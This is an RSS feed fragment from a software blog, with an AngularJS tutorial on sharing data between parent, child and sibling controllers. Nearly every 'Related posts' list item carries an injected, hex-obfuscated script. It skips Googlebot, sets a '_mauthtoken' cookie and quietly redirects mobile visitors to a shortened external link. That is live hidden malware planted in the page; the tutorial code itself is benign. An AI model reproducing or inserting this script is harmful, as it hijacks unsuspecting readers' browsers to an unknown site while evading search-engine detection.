)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2014/11/07/javascript-asynchronous-abortable-long-running-tasks/" rel="bookmark" title="JavaScript: Asynchronous abortable long running tasks">JavaScript: Asynchronous abortable long running tasks </a></li>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2014/12/02/javascript-variables-asynchronous-callback-functions/" rel="bookmark" title="JavaScript: variables in asynchronous callback functions">JavaScript: variables in asynchronous callback functions </a></li>
</ol>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://benohead.com/blog/2017/12/06/cross-domain-cross-browser-web-workers/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>AngularJS: Sharing data between controllers</title>
		<link>https://benohead.com/blog/2016/07/18/angularjs-sharing-data-controllers/</link>
					<comments>https://benohead.com/blog/2016/07/18/angularjs-sharing-data-controllers/#respond</comments>
		
		<dc:creator><![CDATA[hb]]></dc:creator>
		<pubDate>Mon, 18 Jul 2016 09:47:28 +0000</pubDate>
				<category><![CDATA[AngularJS]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Programming]]></category>
		<guid isPermaLink="false">https://benohead.com/?p=9031</guid>

					<description><![CDATA[<p>Even though you should try to keep things decoupled and your directives, controllers and services should rather be self contained, you sometimes do need to share data between controllers. There are basically two main scenarios: Sharing data between a parent and a child controller Sharing data between two mostly unrelated controllers e.g. two siblings Sharing [&#8230;]</p>
<p>The post <a rel="nofollow" href="https://benohead.com/blog/2016/07/18/angularjs-sharing-data-controllers/">AngularJS: Sharing data between controllers</a> appeared first on <a rel="nofollow" href="https://benohead.com">Benohead&#039;s Software Blog</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-list'>
<!-- YARPP List -->

Related posts:<ol><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2015/04/21/angularjs-binding-html-code-with-ng-bind-html-and-sce-trustashtml/" rel="bookmark" title="AngularJS: binding HTML code with ng-bind-html and $sce.trustAsHtml">AngularJS: binding HTML code with ng-bind-html and $sce.trustAsHtml </a></li>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2015/06/09/angularjs-stopping-event-propagation-on-ng-click/" rel="bookmark" title="AngularJS: Stopping event propagation on ng-click">AngularJS: Stopping event propagation on ng-click </a></li>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2015/05/21/angularjs-running-a-directive-after-data-has-been-fetched/" rel="bookmark" title="AngularJS: Running a directive after data has been fetched">AngularJS: Running a directive after data has been fetched </a></li>
</ol>
</div>
]]></description>
										<content:encoded><![CDATA[<p>Even though you should try to keep things decoupled and your directives, controllers and services should rather be self contained, you sometimes do need to share data between controllers. There are basically two main scenarios:</p>
<ol>
<li>Sharing data between a parent and a child controller</li>
<li>Sharing data between two mostly unrelated controllers e.g. two siblings</li>
</ol>
<h3>Sharing data between a parent and a child controller</h3>
<p>Let&#8217;s assume you have two controllers, one controller being the parent controller and a child controller:</p>
<pre><code class="language-html">&lt;div ng-controller="ParentCtrl"&gt;
  &lt;div ng-controller="ChildCtrl as vm"&gt;
  &lt;/div&gt;
&lt;/div&gt;</code></pre>
<p>Where the controllers are defined as:</p>
<pre><code class="language-javascript">var app = angular.module('sharing', []);

app.controller('ParentCtrl', function($scope) {
});

app.controller('ChildCtrl', function($scope) {
});</code></pre>
<p>Let&#8217;s now define a user name in the parent controller:</p>
<pre><code class="language-javascript">app.controller('ParentCtrl', function($scope) {
  $scope.user = {
    name: "Henri"
  };
});</code></pre>
<p>Note that you shouldn&#8217;t define your variable as a primitive in the scope since this will cause shadow property to appear in the child scope hiding the original property on the parent scope (caused by the JavaScript prototype inheritance). So you should define an object in the parent scope and defined the shared variable as a property of this object.</p>
<p>There are now three ways to access this shared variable:</p>
<ol>
<li>using $parent in HTML code</li>
<li>using $parent in child controller</li>
<li>using controller inheritance</li>
</ol>
<h4>Using $parent in HTML code</h4>
<p>You can directly access variables in the parent scope by using $parent:</p>
<pre><code class="language-markup">Hello {{$parent.user.name}}</code></pre>
<h4>Using $parent in child controller</h4>
<p>Of course, you could also reference the shared variable using $parent in the controller and expose it in the scope of the child controller:</p>
<pre><code class="language-javascript">app.controller('ChildCtrl', function($scope) {
  $scope.parentUser = $scope.$parent.user;
});</code></pre>
<p>Then, you can use this scope variable in your HTML code:</p>
<pre><code class="language-markup">Hello {{parentUser.name}}</code></pre>
<h4>Using controller inheritance</h4>
<p>But since the scope of a child controller inherits from the scope of the parent controller, the easiest way to access the shared variable is actually not to do anything. All you need to do is:</p>
<pre><code class="language-markup">Hello {{user.name}}</code></pre>
<h3>Sharing data between two mostly unrelated controllers e.g. two siblings</h3>
<p>If you need to share data between two controllers which do not have a parent-child relationship, you can neither use $parent nor rely on prototype inheritance. In order to still be able to share data between such controllers, you have three possibilities:</p>
<ol>
<li>Holding the shared data in a factory or service</li>
<li>Holding the shared data in the root scope</li>
<li>Using events to notify other controller about changes to the data</li>
</ol>
<h4>Holding the shared data in a factory or service</h4>
<p>AngularJS factories (and services) can contain both methods (business logic) and properties (data) and can be injected in other components (e.g. your controllers). This allows you to define a shared variable in a factory, inject it in both controllers and thus bind scope variables in both controllers to this factory data.</p>
<p>The first step is to define a factory holding a shared value:</p>
<pre><code class="language-javascript">app.factory('Holder', function() {
  return {
    value: 0
  };
});</code></pre>
<p>Then you inject this factory in your two controllers:</p>
<pre><code class="language-javascript">app.controller('ChildCtrl', function($scope, Holder) {
  $scope.Holder = Holder;
  $scope.increment = function() {
    $scope.Holder.value++;
  };
});

app.controller('ChildCtrl2', function($scope, Holder) {
  $scope.Holder = Holder;
  $scope.increment = function() {
    $scope.Holder.value++;
  };
});</code></pre>
